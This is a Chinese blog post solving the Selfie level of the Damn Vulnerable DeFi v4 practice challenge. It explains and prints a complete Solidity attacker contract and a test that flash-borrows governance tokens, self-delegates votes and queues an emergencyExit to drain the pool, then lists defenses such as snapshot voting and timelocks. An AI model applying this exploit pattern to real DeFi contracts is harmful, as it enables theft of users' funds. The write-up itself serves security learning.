Hello World

Damn-vulnerable-defi-V4-solution(Selfie)

一、Selfie

背景:有一个提供闪电贷功能的pool。该pool还设有紧急出口,可通过governance合约执行。该governance合约具有queueActionexecuteAction功能。如果调用者获得超过半数的投票,则可以将(调用任意目标地址)的行为加入队列。成功加入队列的操作在等待两天后即可由任何人执行。

governance系统通过 ERC20 投票实现,即投票数以每个持有者持有的代币数量为准。要获得投票权,必须进行委托操作并且可以委托给自己。

该pool拥有 1,500,000e18 ERC20Votes 代币。总共有 2,000,000e18 代币。

攻击思路:

我们部署一个attacker合约,该合约通过闪电贷借入所有代币,并将投票委托给自己。由于代币在委托后会被返还,因此我们暂时拥有 75% 的投票权。然后,我们将一个调用emergencyExit该池的操作加入队列(由于我们拥有超过一半的投票权,因此允许这样做)。最后,等待 2 天后,我们执行队列中的操作并转移资金。

contract Attacker {
    uint256 constant TOKENS_IN_POOL = 1_500_000e18;
    bytes32 private constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");

    SelfiePool pool;
    IERC20 token;
    SimpleGovernance governance;
    address recovery;
    address player;

    constructor(SelfiePool _pool, address _recovery, address _player) {
        pool = _pool;
        token = pool.token();
        governance = pool.governance();
        recovery = _recovery;
        player = _player;
    }

    function onFlashLoan(address, address, uint256 amount, uint256, bytes calldata) external returns (bytes32) {
        DamnValuableVotes(address(token)).delegate(address(this));
        governance.queueAction(address(pool), 0, abi.encodeCall(pool.emergencyExit, (recovery)));
        token.approve(msg.sender, amount);
        return CALLBACK_SUCCESS;
    }

    function attack() external {
        pool.flashLoan(IERC3156FlashBorrower(address(this)), address(token), TOKENS_IN_POOL, "");
    }
}
function test_selfie() public checkSolvedByPlayer {
        Attacker attacker = new Attacker(pool, recovery, player);
        attacker.attack();
        vm.warp(block.timestamp + 2 days);
        governance.executeAction(1);
    }

由于 SelfiePool 的实现是:它会在 onFlashLoan 调用完成后,自己调用 transferFrom,从借款人(也就是攻击合约)那里扣回借出去的代币,Attacker合约必须在 onFlashLoan 里执行:token.approve(msg.sender, amount);

避免这种攻击的常见方法

✅ 1. 使用 Snapshot 阻止闪电贷投票

很多治理代币(例如 COMP、UNI)要求在 proposal 创建时投票时,必须参考一个 过去区块的快照(snapshot block)

在 OpenZeppelin 的 Governor 里就是这么设计的,默认用 getPastVotes(account, blockNumber)。
✅ 2. 设置治理延迟 (governance delay)

即使有了投票权,也不能立刻执行。

✅ 3. 禁止治理代币用于闪电贷

SelfiePool 把治理代币放在池子里,还提供了闪电贷功能,本身就很危险。

require(address(token) != governanceToken, "Governance token cannot be flash loaned");
✅ 4. 在治理逻辑里校验“投票权的稳定性”

比如:

要避免这种攻击,常见防御手段有:

  1. 投票权基于过去快照区块(最常见 & 主流做法);
  2. 治理延迟 + Timelock,避免立刻生效;
  3. 治理代币不能提供闪电贷
  4. 要求持币时长,防止瞬时治理。

当前页面是本站的「Google AMP」版。查看和发表评论请点击:完整版 »